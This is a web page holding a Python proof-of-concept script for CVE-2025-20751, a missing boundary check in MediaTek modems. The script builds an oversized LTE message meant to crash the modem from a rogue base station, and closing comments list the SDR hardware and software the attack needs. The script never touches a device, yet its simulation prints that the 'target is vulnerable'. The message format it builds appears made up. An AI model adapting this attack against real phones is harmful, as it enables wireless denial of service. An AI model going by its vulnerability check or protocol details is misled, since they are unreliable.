MediaTek调制解调器边界检查缺失导致远程拒绝服务漏洞(CVE-2025-20751)

#!/usr/bin/env python3 """ CVE-2025-20751 PoC - MediaTek Modem Boundary Check Missing This PoC demonstrates the concept of exploiting missing boundary checks in MediaTek modem firmware via rogue base station attack. Note: Actual exploitation requires SDR hardware and LTE/5G protocol knowledge. """ import struct def generate_malicious_lte_message(): """ Generate a malicious LTE RRC message with oversized fields to trigger boundary check vulnerability in MediaTek modem """ # LTE RRC Connection Setup message with malformed IE msg = bytearray() # Message header msg.extend(b'\x00\x01') # PDCP entity ID msg.extend(b'\x00\x10') # Logical Channel ID # Malicious Information Element with oversized length msg.extend(b'\x00') # IE type # Vulnerable: Missing boundary check on length field # Attackers can set arbitrary large length value oversized_length = 0xFFFF # Maximum possible value msg.extend(struct.pack('>H', oversized_length)) # Fill with data exceeding expected buffer size msg.extend(b'\x41' * 65535) # 'A' padding to overflow buffer return bytes(msg) def simulate_modem_crash(): """ Simulate the buffer overflow condition that leads to crash """ BUFFER_SIZE = 256 # Expected buffer size # Simulate vulnerable code: # memcpy(buffer, attacker_data, attacker_controlled_length); malicious_msg = generate_malicious_lte_message() # Extract length from message (vulnerable parsing) length = struct.unpack('>H', malicious_msg[3:5])[0] # Without boundary check, this causes overflow if length > BUFFER_SIZE: print(f"[VULNERABLE] Length {length} exceeds buffer size {BUFFER_SIZE}") print(f"[CRASH] Buffer overflow triggered - modem crash imminent") return True return False if __name__ == "__main__": print("CVE-2025-20751 PoC - MediaTek Modem Boundary Check Missing") print("=" * 60) if simulate_modem_crash(): print("\n[!] Target is vulnerable to remote DoS via rogue base station") else: print("\n[+] Target appears patched or not vulnerable") # Note: Actual exploitation requires: # 1. Software-defined radio (SDR) like USRP or HackRF # 2. OpenAirInterface or srsLTE for LTE network simulation # 3. Custom protocol implementation to send malformed messages # 4. Proximity to target device for wireless attack